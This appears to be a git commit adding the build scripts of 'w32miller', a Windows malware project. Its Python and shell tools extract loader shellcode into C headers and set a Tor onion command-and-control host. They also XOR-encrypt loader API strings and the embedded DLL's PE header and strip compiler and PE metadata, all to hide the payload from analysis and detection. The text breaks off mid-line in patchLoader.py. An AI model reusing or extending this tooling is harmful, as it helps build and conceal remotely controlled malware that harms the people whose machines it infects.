diff options
author | Toni Uhlig <matzeton@googlemail.com> | 2020-05-24 16:48:22 +0200 |
---|---|---|
committer | Toni Uhlig <matzeton@googlemail.com> | 2020-05-25 21:57:14 +0200 |
commit | 31c69b6ca1b91e7fd9fd8e14082fd2584c5f538c (patch) | |
tree | 16e789c7d68608831b498f41f54d9482b82a711a /batch |
first public release
Signed-off-by: Toni Uhlig <matzeton@googlemail.com>
Diffstat (limited to 'batch')
-rwxr-xr-x | batch/genChangelog.sh | 19 | ||||
-rwxr-xr-x | batch/genPatchFromDirs.sh | 34 | ||||
-rwxr-xr-x | batch/genShellcode.py | 88 | ||||
-rwxr-xr-x | batch/gpgEncryptProject.sh | 34 | ||||
-rwxr-xr-x | batch/millerCncOnionHost.sh | 26 | ||||
-rwxr-xr-x | batch/millerSectionFromInclude.sh | 15 | ||||
-rw-r--r-- | batch/miller_linker_script.ld | 88 | ||||
-rwxr-xr-x | batch/nullDataDirs.py | 23 | ||||
-rwxr-xr-x | batch/old/bindiff.sh | 12 | ||||
-rwxr-xr-x | batch/old/genShellcode.sh | 61 | ||||
-rwxr-xr-x | batch/old/genhex.sh | 18 | ||||
-rwxr-xr-x | batch/patchLoader.py | 465 | ||||
-rwxr-xr-x | batch/pycrypt_test.py | 52 | ||||
-rwxr-xr-x | batch/removeDosStub.py | 63 | ||||
-rwxr-xr-x | batch/removeGccVersion.py | 63 |
15 files changed, 1061 insertions, 0 deletions
diff --git a/batch/genChangelog.sh b/batch/genChangelog.sh new file mode 100755 index 0000000..8388162 --- /dev/null +++ b/batch/genChangelog.sh @@ -0,0 +1,19 @@ +#!/bin/bash +# Author: Andrey Nikishaev, Gunnar Lindholm +# From: http://stackoverflow.com/questions/7387612/git-changelog-how-to-get-all-changes-up-to-a-specific-tag +echo "CHANGELOG" +echo ---------------------- +git for-each-ref --sort='*authordate' --format='%(tag)' refs/tags |tac |grep -v '^$' | while read TAG ; do + echo + if [ $NEXT ];then + echo [$NEXT] + else + echo "[Current]" + fi + GIT_PAGER=cat git log --no-merges --format=" * %s" $TAG..$NEXT + NEXT=$TAG +done +FIRST=$(git tag -l | head -1) +echo +echo [$FIRST] +GIT_PAGER=cat git log --no-merges --format=" * %s" $FIRST diff --git a/batch/genPatchFromDirs.sh b/batch/genPatchFromDirs.sh new file mode 100755 index 0000000..b27dd18 --- /dev/null +++ b/batch/genPatchFromDirs.sh @@ -0,0 +1,34 @@ +#!/bin/bash + +if [ $# -ne 2 ]; then + printf "usage: %s [ORIG-DIR] [MODF-DIR]\n" "$0" + exit 1 +fi + +set -e + +NAME="$(basename $0)" +ORIG="$(basename $1)" +MODF="$(basename $2)" +CHDIR="$(dirname $1)" +TMPFILE="$(mktemp)" + +cd ${CHDIR} + +ret=0 +diff -Naur ${ORIG} ${MODF} >${TMPFILE} || ret=$? +if [ $ret -ne 1 ]; then + printf "%s: %s\n" "${NAME}" "No diffs found." + exit 1 +fi + +ret=0 +command -v filterdiff >/dev/null 2>/dev/null || ret=$? +if [ $ret -eq 0 ]; then + filterdiff --remove-timestamps ${TMPFILE} >${MODF}.patch +else + printf "%s: %s\n" "${NAME}" "Command \`filterdiff\` not found. Can not remove timestamps from patch" + mv ${TMPFILE} ${MODF}.patch +fi + +printf "%s: %s\n" "${NAME}" "Generated ${CHDIR}/${MODF}.patch" diff --git a/batch/genShellcode.py b/batch/genShellcode.py new file mode 100755 index 0000000..7ec9add --- /dev/null +++ b/batch/genShellcode.py @@ -0,0 +1,88 @@ +#!/usr/bin/env python2.7 + +import sys +import os +import re +import subprocess +from optparse import OptionParser, OptionGroup + + +objdmp_bin = os.path.dirname(sys.argv[0]) + '/../deps/sysroot/i686-w64-mingw32/bin/i686-w64-mingw32-objdump' +objdmp_args = '-z -D -j %s %s' +bname = os.path.basename(sys.argv[0]) + + +def objdump_section(section, binary): + full_cmd = str(objdmp_bin)+' '+(str(objdmp_args) % (section,binary)) + p = subprocess.Popen(full_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) + repat = re.compile(r'^(?:\s+[0-9A-Fa-f]+:\s+)(([0-9A-Fa-f]{2}\s{1})+)') + insts = 0 + scode = bytearray() + p.wait() + if p.returncode != 0: + sys.stderr.write(bname + ': objdump command failed with %d: %s\n' % (p.returncode, full_cmd)) + sys.exit(1) + for line in p.stdout.readlines(): + r = repat.match(line) + if r: + insts += 1 + insthex = str(r.group(1)) + for byte in str(insthex).split(' '): + if len(byte) == 2: + scode += str(byte).decode('hex') + elif len(byte) != 0: + raise TypeError('Invalid byte in hex str: ' + str(byte)) + return (scode, insts) + +def gen_cstr(bytebuf): + cstr = str() + for byte in bytebuf: + cstr += '\\x'+str(hex(byte))[2:].zfill(2) + return cstr + +def write_header(path, dpref, cstr, csiz, insts): + with open(path, 'a+b') as out_hdr: + outstr = \ + '#undef {0}\n' \ + '#undef {0}_SIZE\n' \ + '#undef {0}_INSTS\n\n' \ + '#define {0} "{1}"\n' \ + '#define {0}_SIZE {2}\n' \ + '#define {0}_INSTS {3}\n\n\n'.format(dpref, cstr, csiz, insts) + out_hdr.write(outstr) + out_hdr.flush() + +# example: genShellcode.py --section=.minit --binary=lib/libloader_x86.a --define-prefix=LOADER_SHELLCODE --file=include/loader_x86.h +if __name__ == '__main__': + parser = OptionParser() + parser.add_option('-o', '--objdump', dest='objdmp_bin', default=objdmp_bin, + help='path to objdump binary [default: %default]') + parser.add_option('-s', '--section', dest='section', help='target section which shellcode will be extracted [required]') + parser.add_option('-b', '--binary', dest='binary', help='target binary which we want extract shellcode from [required]') + parser.add_option('-d', '--define-prefix', + dest='prefix', help='set #define prefix name [required]') + parser.add_option('-f', '--file', dest='file', help='set output header file [required]') + (options, args) = parser.parse_args() + + doAbort = False + if options.section is None: + sys.stderr.write(bname + ': Target section is required.\n') + doAbort = True + if options.binary is None: + sys.stderr.write(bname + ': Target binary is required.\n') + doAbort = True + if options.prefix is None: + sys.stderr.write(bname + ': A `#define` prefix is required.\n') + doAbort = True + if options.file is None: + sys.stderr.write(bname + ': A output header filename is required.\n') + doAbort = True + + if doAbort is True: + sys.exit(1) + + (shellcode, instructions) = objdump_section(options.section, options.binary) + cstr = gen_cstr(shellcode) + write_header(options.file, options.prefix, cstr, len(shellcode), instructions) + + sys.exit(0) diff --git a/batch/gpgEncryptProject.sh b/batch/gpgEncryptProject.sh new file mode 100755 index 0000000..c8a8615 --- /dev/null +++ b/batch/gpgEncryptProject.sh @@ -0,0 +1,34 @@ +#!/bin/bash + +set -e + +GEN_PASSWD=0 +if [ $(command -v date 2>&1) != "" -a \ + $(command -v sha256sum 2>&1) != "" -a \ + $(command -v base64 2>&1) != "" -a \ + $(command -v head 2>&1) != "" ]; then + echo "$0: generating random passphrase" + GEN_PASSWD=1 +fi +#date +%s | sha256sum | base64 | head -c 40 ; echo + + +file="$(dirname $0)/../bin/w32miller.tar.gz" +mkdir -p "$(dirname ${file})" + +git archive --prefix 'w32miller/' -o ${file} HEAD +if [ ${GEN_PASSWD} -eq 1 ]; then + PASSPHRASE=$(date +%s | sha256sum | base64 | head -c 40) + gpg --cipher-algo AES256 --yes --passphrase "${PASSPHRASE}" -a -c ${file} +else + gpg --cipher-algo AES256 -a -c ${file} +fi + +if [ $(command -v wipe 2>&1) != "" ]; then + wipe -q -f ${file} +fi + +echo "$0: generated armored gpg symmetric encrypted file: ${file}" +if [ ! -z "${PASSPHRASE}" ]; then + echo "$0: PASSPHRASE: ${PASSPHRASE}" +fi diff --git a/batch/millerCncOnionHost.sh b/batch/millerCncOnionHost.sh new file mode 100755 index 0000000..e01d6b0 --- /dev/null +++ b/batch/millerCncOnionHost.sh @@ -0,0 +1,26 @@ +#!/bin/sh + +set -e + +TORHFILE=/var/lib/tor/hidden_service/hostname +DEST="$(dirname $0)/../deps/sysroot/${TORHFILE}" +DEFINE="HTTP_ONION" + +if [ $# -ne 1 ]; then + echo -e "usage: $0 [INCLUDE-FILE]\n\te.g. $0 $(realpath $(dirname $0)/../include/xor_strings.h)" >&2 + exit 1 +fi + +if [ -r "${DEST}" ]; then + DEST=$(realpath "${DEST}") + echo "$0: TOR Hidden Service hostname file: ${DEST} -> $(cat ${DEST})" >&2 + CURR_HOST=$(sed -n 's/#define\s*'${DEFINE}'\s*"\([a-zA-Z0-9]*\)"/\1/p' ${1}) + WANT_HOST=$(cat ${DEST} | cut -d'.' -f1) + if [ "${CURR_HOST}" = "${WANT_HOST}" ]; then + echo "$0: WARNING: ${DEFINE} is already the same: ${CURR_HOST} == ${WANT_HOST}" >&2 + exit 0 + fi + sed -i 's/#define\s*'${DEFINE}'\s*"\([a-zA-Z0-9]*\)"/#define '${DEFINE}' "'$(cat ${DEST} | cut -d'.' -f1)'"/' ${1} +else + echo "$0: WARNING: ${DEST} not FOUND !" >&2 +fi diff --git a/batch/millerSectionFromInclude.sh b/batch/millerSectionFromInclude.sh new file mode 100755 index 0000000..3b24afa --- /dev/null +++ b/batch/millerSectionFromInclude.sh @@ -0,0 +1,15 @@ +#!/bin/sh + +set -e + +DEST="${1}" +DEFN="${2}" + +if [ -z "${DEST}" -o -z "${DEFN}" ]; then + echo "usage: $0 [INCLUDE-FILE] [INCLUDE-DEFINITION]" >&2 + false +fi + +test -r ${DEST} +OUTPUT=$(cat ${DEST} | sed -n 's/#define\s\+'"${DEFN}"'\s\+"\(.*\)"$/\1/p') +echo -n ${OUTPUT} diff --git a/batch/miller_linker_script.ld b/batch/miller_linker_script.ld new file mode 100644 index 0000000..05dc682 --- /dev/null +++ b/batch/miller_linker_script.ld @@ -0,0 +1,88 @@ +OUTPUT_FORMAT(pei-i386) +SECTIONS +{ + /* w32miller default linker script */ + /* Make the virtual address and file offset synced if the alignment is + lower than the target page size. */ + . = SIZEOF_HEADERS; + . = ALIGN(__section_alignment__); + .text __image_base__ + ( __section_alignment__ < 0x1000 ? . : __section_alignment__ ) : SUBALIGN(0x0) + { + __text_start__ = . ; + *(.text) + *(.text$*) + *(.text.*) + *(.rdata) + *(.rdata$*) + *(.rdata.*) + + __rt_psrelocs_start = .; + *(.rdata_runtime_pseudo_reloc) + __rt_psrelocs_end = .; + + __text_end__ = . ; + } + + /* .data BLOCK(__section_alignment__) : */ + .data . : SUBALIGN(0x0) + { + __data_start__ = . ; + *(.data) + *(.data2) + *(.data$*) + *(.jcr) + *(.bss) + *(COMMON) + __data_end__ = . ; + } + + __rt_psrelocs_size = __rt_psrelocs_end - __rt_psrelocs_start; + ___RUNTIME_PSEUDO_RELOC_LIST_END__ = .; + __RUNTIME_PSEUDO_RELOC_LIST_END__ = .; + ___RUNTIME_PSEUDO_RELOC_LIST__ = . - __rt_psrelocs_size; + __RUNTIME_PSEUDO_RELOC_LIST__ = . - __rt_psrelocs_size; + + /DISCARD/ : + { + *(.init) + *(.etext) + *(._etext) + *(.debug$S) + *(.debug$T) + *(.debug$F) + *(.drectve) + *(.note.GNU-stack) + *(.gnu.lto_*) + *(.pdata) + *(.eh_frame*) + *(.crt) + *(.CRT$XC*) /* C initialization */ + *(.CRT$XI*) /* C++ initialization */ + *(.CRT$XL*) /* TLS callbacks */ + *(.CRT$XP*) /* Pre-termination */ + *(.CRT$XT*) /* Termination */ + *(.tls) + *(.tls$AAA) + *(.tls) + *(.tls$) + *(.tls$ZZZ) + *(.rsrc) + *(.rsrc$*) + *(.stab) + *(.stabstr) + *(.debug_*) + *(.zdebug_*) + } + .endjunk BLOCK(__section_alignment__) : + { + /* end is deprecated, don't use it */ + PROVIDE (end = .); + PROVIDE ( _end = .); + __end__ = .; + } + + .reloc : SUBALIGN(0x0) + { + *(.reloc) + } +} diff --git a/batch/nullDataDirs.py b/batch/nullDataDirs.py new file mode 100755 index 0000000..02e8576 --- /dev/null +++ b/batch/nullDataDirs.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python2.7 + +import sys +import struct +import os + +def main(argv): + buf = bytearray() + with open(argv[0], "rb") as fin: + for line in fin: + buf += line + buf[0xF8:0x100] = '\x00' * (0x100-0xF8) # export table + buf[0x100:0x108] = '\x00' * (0x108-0x100) # import table + with open(argv[0], "wb") as fout: + fout.write(str(buf)) + +if __name__ == "__main__": + if len(sys.argv) < 2: + print os.path.basename(sys.argv[0]) + ' usage: ' + sys.argv[0] + ' [PE-FILE]' + sys.exit(1) + print os.path.basename(sys.argv[0]) + ': NULL\'ing Import/Export Data Directory Entries ..' + main(sys.argv[1:]) + sys.exit(0) diff --git a/batch/old/bindiff.sh b/batch/old/bindiff.sh new file mode 100755 index 0000000..e598c6b --- /dev/null +++ b/batch/old/bindiff.sh @@ -0,0 +1,12 @@ +#!/bin/bash + + +if [ "x$1" = "x" ] || [ "x$2" = "x" ]; then + echo "$0: [FILE1] [FILE2]" + exit 1 +fi + +xxd "$1" > "$1.hex" +xxd "$2" > "$2.hex" +diff -du "$1.hex" "$2.hex" 2>&1 | less +rm -f "$1.hex" "$2.hex" diff --git a/batch/old/genShellcode.sh b/batch/old/genShellcode.sh new file mode 100755 index 0000000..bf0327a --- /dev/null +++ b/batch/old/genShellcode.sh @@ -0,0 +1,61 @@ +#!/bin/bash + +set -e + +OBJDUMP="$(dirname $0)/../deps/sysroot/bin/i686-w64-mingw32-objdump" +OBJDUMP_ARGS="-z -D" +TMPFILE="$(mktemp)" + + +if [ ! -x ${OBJDUMP} ]; then + echo "$0: ${OBJDUMP} not found!" + false +fi + +if [ "x$1" != "x" -a "x$2" != "x" -a "x$3" != "x" -a "x$4" != "x" ]; then + echo "$0: create tmpfile ${TMPFILE}" + OBJECTFILE="${1}" + OUTPUT="${2}" + DEFINE="${3}" + OBJDUMP_ARGS="${OBJDUMP_ARGS} -j ${4}" + + DO_APPEND=0 + if [ "x$5" != "x" ]; then + echo "$5" | egrep -qi 'append.*=.*true' && DO_APPEND=1 || true + fi + + if [ ! -r ${OBJECTFILE} ]; then + echo "$0: ${OBJECTFILE} not found or not readable" + false + fi + + echo "$0: objdump command: \`${OBJDUMP} ${OBJDUMP_ARGS} ${OBJECTFILE}\`" + export SIZE=0 + if [ ${DO_APPEND} -eq 1 ]; then + echo "$0: APPENDING to ${OUTPUT}" + cp ${OUTPUT} ${TMPFILE} + echo >> ${TMPFILE} + echo '#undef '"${DEFINE}" >> ${TMPFILE} + else + echo '#undef '"${DEFINE}" > ${TMPFILE} + fi + echo -n '#define '"${DEFINE}"' "' >> ${TMPFILE} + # TODO: use objdump -s to show everything (-d shows only valid opcodes) + for i in $(${OBJDUMP} ${OBJDUMP_ARGS} ${OBJECTFILE} |grep "^ " |cut -f2); do + echo -n '\x'$i >>${TMPFILE} + SIZE=$(expr $SIZE + 1) + done + if [ $SIZE -eq 0 ]; then + echo "$0: Whoops! Something went wrong (SIZE=0)." + echo "$0: Check output manually with: \`${OBJDUMP} ${OBJDUMP_ARGS} ${OBJECTFILE}\`" + false + fi + echo '"' >>${TMPFILE} + echo '#undef '"${DEFINE}"'_SIZE' >> ${TMPFILE} + echo '#define '"${DEFINE}"'_SIZE '"${SIZE}" >> ${TMPFILE} + mv ${TMPFILE} ${OUTPUT} + echo "$0: moved ${TMPFILE} to ${OUTPUT}" +else + echo "usage: $0 [OBJECT-FILE or STATIC-LIB] [OUTPUT-HEADER] [OUTPUT-DEFINE] [LOADER-SECTION] [DO-APPEND=[TRUE|FALSE]]" + exit 1 +fi diff --git a/batch/old/genhex.sh b/batch/old/genhex.sh new file mode 100755 index 0000000..114ea34 --- /dev/null +++ b/batch/old/genhex.sh @@ -0,0 +1,18 @@ +#!/bin/bash + +if [ -z "$1" ]; then + DPATH="$(pwd)" +else + DPATH="$1" +fi + +echo "$0: generate *.hex files in $(ls ${DPATH})" +for file in $(ls ${DPATH}); do + [ -d ${file} ] && continue + FLEN=$((${#file}-4)) + FSUFFIX=${file:$FLEN:4} + if [ "$FSUFFIX" != ".hex" ]; then + xxd "${file}" > "${file}.hex" + fi +done + diff --git a/batch/patchLoader.py b/batch/patchLoader.py new file mode 100755 index 0000000..8697e0a --- /dev/null +++ b/batch/patchLoader.py @@ -0,0 +1,465 @@ +#!/usr/bin/env python2.7 + +import sys +import struct +import os +import re +import subprocess +import random +from optparse import OptionParser, OptionGroup + + +objdmp_bin = os.path.dirname(sys.argv[0]) + '/../deps/sysroot/i686-w64-mingw32/bin/i686-w64-mingw32-objdump' +pyload_name = 'pyloader' +pyload_so = os.path.dirname(sys.argv[0]) + '/../bin/'+pyload_name +pycrypt_name = 'pycrypt' +pycrypt_so = os.path.dirname(sys.argv[0]) + '/../bin/'+pycrypt_name +objdmp_sargs = '-h' +objdmp_dargs = '-x' +objdmp_retval = None + + +def require_pyso(name, path): + try: + import imp + pymod = imp.load_dynamic(name, path) + except (ImportError, IOError): + return None + return pymod + +def parse_c_array(carr): + m = re.finditer(r'(([0-9a-fA-F]){2})+', carr) + ret = bytearray() + for val in m: + for byte in bytearray.fromhex(val.group()): + ret += struct.pack("B", byte & 0xFF) + return ret + +def objdump_print_err(bname): + if objdmp_retval is not None: + sys.stderr.write(bname + ': objdump ('+objdmp_bin+') returned: ' + str(objdmp_retval) + '\n') + +def objdump_data(path): + p = subprocess.Popen(str(objdmp_bin)+' '+objdmp_dargs+' '+str(path), shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) + found = 0 + OBJDMP_NEED = [ 'ImageBase', 'SizeOfImage', 'SizeOfHeaders' ] + regexmstr = str().join(['|'+s for s in OBJDMP_NEED])[1:] + matchdict = {key: int(-1) for key in OBJDMP_NEED} + for line in p.stdout.readlines(): + regex = re.match(r'^\s*('+regexmstr+')\s+([0-9a-fA-F]+)', line) + if regex: + found += 1 + matchdict[regex.group(1)] = int(regex.group(2), 16) + retval = p.wait() + global objdmp_retval + objdmp_retval = retval + retlst = list() + retlst += [(retval,found)] + for key in OBJDMP_NEED: + retlst += [matchdict[key]] + return retlst + +def objdump_sections(path, section): + p = subprocess.Popen(str(objdmp_bin)+' '+objdmp_sargs+' '+str(path), shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) + r = False + for line in p.stdout.readlines(): + regex = re.match(r'^\s+[0-9]+\s+'+section+r'\s+([0-9a-fA-F]+)\s+([0-9a-fA-F]+)\s+[0-9a-fA-F]+\s+([0-9a-fA-F]+)', line) + if regex: + secPtr = int(regex.group(3), 16) + secVma = int(regex.group(2), 16) + secSiz = int(regex.group(1), 16) + r = True + break + retval = p.wait() + global objdmp_retval + objdmp_retval = retval + if r and retval == 0: + return ( secVma, secPtr, secSiz ) + else: + return ( None, None, None ) + +def file_to_buf(path): + buf = bytearray() + with open(path, "rb") as fin: + for line in fin: + buf += line + return buf + return None + +def buf_to_file(path, buf): + with open(path, "wb") as fout: + fout.write(str(buf)) + fout.flush() + return True + return False + +def find_endmarker_offset(endmarker, bytebuf, ldrPtr, ldrSiz): + if type(bytebuf) is not bytearray: + return -1 + return str(buf).find(endmarker, 0 if ldrPtr is None else ldrPtr, 0 if ldrSiz is None or ldrSiz is None else ldrPtr+ldrSiz) + +def swapByteOrder32(bytebuf, offset): + if type(offset) == int and (type(bytebuf) == int or bytebuf is None): + intval = struct.unpack("<I", struct.pack(">I", offset))[0] + elif type(offset) == int and type(bytebuf) == bytearray: + intval = struct.unpack('<I', bytebuf[offset:offset+0x4])[0] + else: raise TypeError('bytebuf must be either int or bytearray') + return bytearray([(intval >> i & 0xff) for i in (24,16,8,0)]) + +def setInt32(bytebuf, offset, intbuf): + if type(bytebuf) != bytearray or \ + type(intbuf) != int or \ + type(offset) != int: + raise TypeError('Check your arguments: f(%s,%s,%s)' % (type(bytebuf),type(offset),type(intbuf))) + bytebuf[offset:offset+4] = swapByteOrder32(None, intbuf) + +def getInt32(bytebuf, offset): + if type(bytebuf) != bytearray or \ + type(offset) != int: + raise TypeError('Check your arguments: f(%s,%s)' % (type(bytebuf),type(offset))) + return swapByteOrder32(bytebuf, offset) + +def setInt32Buf(bytebuf, offset, buf): + if type(bytebuf) != bytearray or \ + type(buf) != bytearray or \ + type(offset) != int: + raise TypeError('Check your arguments: f(%s,%s,%s)' % (type(bytebuf),type(offset),type(buf))) + if len(buf) % 4 != 0: + raise TypeError('buffer length is not a multiple of 4: %d' % (len(buf))) + for i in range(0, len(buf), 4): + setInt32(bytebuf, offset+i, int(str(buf[i:i+4]).encode('hex'), 16)) + +def getInt32Buf(bytebuf, offset, maxlen=4): + if type(bytebuf) != bytearray or \ + type(offset) != int or \ + type(maxlen) != int: + raise TypeError('Check your arguments: f(%s,%s,%s)' % (type(bytebuf),type(offset),type(buf))) + if maxlen % 4 != 0: + raise TypeError('max length is not a multiple of 4: %d' % (maxlen)) + retbuf = bytearray(maxlen) + for i in range(0, maxlen, 4): + retbuf[i:i+4] = getInt32(bytebuf, offset+i) + return retbuf + +def calcLoaderStructOffset(endmarkerOffset, loaderOffsets): + structsiz = loaderOffsets['structSize'] + endmarkersiz = loaderOffsets['endMarkerSize'] + return endmarkerOffset + endmarkersiz - structsiz + +# patches ptrToDLL, sizOfDLL +def patchLoader(bytebuf, loaderOffsets, endmarkerOffset, (dllVma, dllPtr, dllSiz)): + buf = bytebuf + if buf is None: + return False + structbase = calcLoaderStructOffset(endmarkerOffset, loaderOffsets) + + # loader: uint32_t ptrToDLL, uint32_t sizOfDLL + setInt32(bytebuf, structbase + loaderOffsets['ptrToDLL'], dllVma) + setInt32(bytebuf, structbase + loaderOffsets['sizOfDLL'], dllSiz) + return True + +# get loader iv/key or generate (and patch) it if user want so +def getXorKeyIv(bytebuf, loaderOffsets, endmarkerOffset, gen_func=None): + buf = bytebuf + if buf is None: + return (None,None) + structbase = calcLoaderStructOffset(endmarkerOffset, loaderOffsets) + + ldr_key = loaderOffsets['key[0]'] + ldr_iv = loaderOffsets['iv[0]'] + ldr_ivkeylen = loaderOffsets['ldrIvKeyLen'] + ldr_ivkeysiz = loaderOffsets['ldrIvKeySiz'] + + keybuf = getInt32Buf(buf, structbase + ldr_key, ldr_ivkeylen*ldr_ivkeysiz) + ivbuf = getInt32Buf(buf, structbase + ldr_iv, ldr_ivkeylen*ldr_ivkeysiz) + keypatched = False + ivpatched = False + if keybuf == '\x00'*(ldr_ivkeylen*ldr_ivkeysiz) and gen_func is not None: + setInt32Buf(buf, structbase + ldr_key, gen_func(ldr_ivkeylen)) + keybuf = getInt32Buf(buf, structbase + ldr_key, ldr_ivkeylen*ldr_ivkeysiz) + keypatched = True + if ivbuf == '\x00'*(ldr_ivkeylen*ldr_ivkeysiz) and gen_func is not None: + setInt32Buf(buf, structbase + ldr_iv, gen_func(ldr_ivkeylen)) + ivbuf = getInt32Buf(buf, structbase + ldr_iv, ldr_ivkeylen*ldr_ivkeysiz) + ivpatched = True + return ( (keybuf, keypatched), (ivbuf, ivpatched) ) + +def isLoaderStringsEncrypted(bytebuf, loaderOffsets, endmarkerOffset, xorkey, xoriv, xor_npcbc_func=None): + buf = bytebuf + if buf is None: + return False + structbase = calcLoaderStructOffset(endmarkerOffset, loaderOffsets) + + (ldr_sVALen, ldr_sIBRPLen) = loaderOffsets['ldrStrLen'] # NULL-char included + ldr_strivkeylen = loaderOffsets['ldrStrIvKeyLen'] + ldr_ivkeysiz = loaderOffsets['ldrIvKeySiz'] + + abs_siz = ldr_strivkeylen*ldr_ivkeysiz + key = xorkey[:abs_siz] + iv = xoriv[:abs_siz] + + (ldr_sVALen, ldr_sIBRPLen) = loaderOffsets['ldrStrLen'] # NULL-char included + idxVA = structbase + loaderOffsets['strVirtualAlloc[0]'] + idxIBRP = structbase + loaderOffsets['strIsBadReadPtr[0]'] + strVA = getInt32Buf(buf, idxVA, ldr_sVALen-1) + strIBRP = getInt32Buf(buf, idxIBRP, ldr_sIBRPLen-1) + + retplain = bool(str(strVA).isalpha() is True and str(strIBRP).isalpha() is True) + if retplain is True: + retvalid = True + else: + decVA = getInt32Buf(xor_npcbc_func(strVA, key, iv), 0, ldr_sVALen-1) + decIBRP = getInt32Buf(xor_npcbc_func(strIBRP, key, iv), 0, ldr_sIBRPLen-1) + retvalid = bool(decVA.isalpha()) is True and bool(decIBRP.isalpha()) is True + return (retplain, retvalid) + +# patches (encrypt) loader strings +def patchLoaderStrings(bytebuf, loaderOffsets, endmarkerOffset, xorkey, xoriv, xor_npcbc_func=None): + buf = bytebuf + if buf is None or xor_npcbc_func is None: + return False + structbase = calcLoaderStructOffset(endmarkerOffset, loaderOffsets) + + (ldr_sVALen, ldr_sIBRPLen) = loaderOffsets['ldrStrLen'] # NULL-char included + ldr_strivkeylen = loaderOffsets['ldrStrIvKeyLen'] + ldr_ivkeysiz = loaderOffsets['ldrIvKeySiz'] + + abs_siz = ldr_strivkeylen*ldr_ivkeysiz + key = xorkey[:abs_siz] + iv = xoriv[:abs_siz] + + idxVA = structbase + loaderOffsets['strVirtualAlloc[0]'] + idxIBRP = structbase + loaderOffsets['strIsBadReadPtr[0]'] + strVA = getInt32Buf(buf, idxVA, ldr_sVALen-1) + strIBRP = getInt32Buf(buf, idxIBRP, ldr_sIBRPLen-1) + + (cipherVA, cipherIBRP) = ( xor_npcbc_func(strVA, key, iv), xor_npcbc_func(strIBRP, key, iv) ) + if len(cipherVA) != ldr_sVALen -1 or len(cipherIBRP) != ldr_sIBRPLen -1: + return False + (plainVA, plainIBRP) = ( xor_npcbc_func(cipherVA, key, iv), xor_npcbc_func(cipherIBRP, key, iv) ) + if plainVA != strVA or plainIBRP != strIBRP: + return False + + setInt32Buf(buf, idxVA, cipherVA) + setInt32Buf(buf, idxIBRP, cipherIBRP) + return True + +def isDllHeaderEncrypted(buf, dllPtr): + e_lfanew_OFFSET = 0x3C + e_lfanew = struct.unpack("<L", buf[e_lfanew_OFFSET:e_lfanew_OFFSET+0x4])[0] + if buf[dllPtr:dllPtr+0x2] != '\x4d\x5a' or e_lfanew < 0x40 or e_lfanew > 0x400: + return (False, False) + if len(buf) < e_lfanew+2: + return (True, False) + if buf[dllPtr+e_lfanew:dllPtr+e_lfanew+2] == '\x50\x45': + return (True, False) + return (True, True) + +def patchEncryptDll(buf, dllPtr, dllSiz, xorkey, xoriv, xor_npcbc_func=None): + if dllPtr+dllSiz < len(buf) or dllSiz % 8 != 0: + return (False, False, False) + hdrbuf = getInt32Buf(buf, dllPtr, dllSiz) + cipherHeader = xor_npcbc_func(hdrbuf, xorkey, xoriv) + if len(cipherHeader) != len(hdrbuf): + return (True, False, False) + plainHeader = xor_npcbc_func(cipherHeader, xorkey, xoriv) + if len(cipherHeader) != len(plainHeader): + return (True, True, False) + if hdrbuf != plainHeader: + return (True, True, False) + setInt32Buf(buf, dllPtr, cipherHeader) + return (True, True, True) + + +if __name__ == "__main__": + parser = OptionParser() + parser.add_option("-q", "--quiet", action="store_false", dest="verbose", default=True, help="don't print status messages to stdout") + parser.add_option("-o", "--objdump", dest="objdmp_bin", default=objdmp_bin, help="path to mingw objdump binary [default: %default]") + parser.add_option("-f", "--out-file", dest="out_file", help="set output file [default: same as --win32]") + parser.add_option("-l", "--pyload", dest="pyload", default=pyload_so, help="set "+pyload_name+" path [required, default: %default]") + parser.add_option("-c", "--pycrypt", dest="pycrypt", default=pycrypt_so, help="set "+pycrypt_name+" path [required, default: %default]") + bingrp = OptionGroup(parser, "Binary Options", None) + bingrp.add_option("-w", "--win32", dest="win32_pe", help="path to windows pe binary which contains the loader [required]") + bingrp.add_option("-b", "--binary", dest="miller_bin", help="patch loader with sections from miller dll") + parser.add_option_group(bingrp) + ldrgrp = OptionGroup(parser, "WIN32_PE Options", None) + ldrgrp.add_option("-e", "--endmarker", dest="endmarker", help="set the loader endmarker value (4*n bytes)") + ldrgrp.add_option("-s", "--ldr-section", dest="section", help="specify the loader section name [required]") + ldrgrp.add_option("-t", "--dll-section", dest="target_section", help="psecify the dll section name") + ldrgrp.add_option("-r", "--crypt-strings", action="store_true", dest="crypt_strings", help="encrypt loader strings") + ldrgrp.add_option("-H", "--crypt-dll", action="store_true", dest="crypt_dll", help="encrypt dll pe header") + parser.add_option_group(ldrgrp) + actgrp = OptionGroup(parser, "Actions", None) + actgrp.add_option("-a", "--show-address", action="store_true", dest="show_adr", help="shows section offset (if found) from the pe binary") + actgrp.add_option("-z", "--show-size", action="store_true", dest="show_siz", help="shows section size (if found) from the pe binary") + actgrp.add_option("-m", "--show-marker", action="store_true", dest="show_marker", help="shows the endmarker (offset)") + actgrp.add_option("-k", "--show-xorkey", action="store_true", dest="show_xorkey", help="print XOR key to stdout") + actgrp.add_option("-i", "--show-xoriv", action="store_true", dest="show_xoriv", help="print XOR iv to stdout") + actgrp.add_option("-p", "--patch", action="store_true", dest="patch", default=False, help="patch the --section with address and size information from --target-section") + parser.add_option_group(actgrp) + (options, args) = parser.parse_args() + + bname = os.path.basename(sys.argv[0]) + # load *.so's if necessary + pyload = require_pyso(pyload_name, options.pyload) + # some commands need pycrypt module + pycrypt = require_pyso(pycrypt_name, options.pycrypt) + if pycrypt is None: + sys.stderr.write(bname + ': Could not import '+pycrypt_name+': ' + options.pycrypt + '.\n') + sys.exit(1) + + endmarker = None + if pyload is None: + sys.stderr.write(bname + ': WARNING: Could not import '+pyload_name+': ' + options.pyload + '.\n') + if options.patch: + sys.stderr.write(bname + ': Patching requires '+pyload_name+'\n') + sys.exit(1) + else: + endmarker = pyload.getEndmarker() + loaderdict = pyload.getStructOffset() + + # argument checks + # pyloader python lib and endmarker + if not options.endmarker and pyload is None: + sys.stderr.write(bname + ': missing --endmarker and '+pyload_name+' ('+options.pyload+') not imported\n') + sys.exit(1) + elif not options.endmarker: + sys.stderr.write(bname + ': using default endmarker 0x'+str(endmarker).encode('hex')+'\n') + else: + tmp = str(parse_c_array(options.endmarker)) + if endmarker is not None and tmp != endmarker: + sys.stderr.write(bname + ': WARNING: LOADER_ENDMARKER is not equal 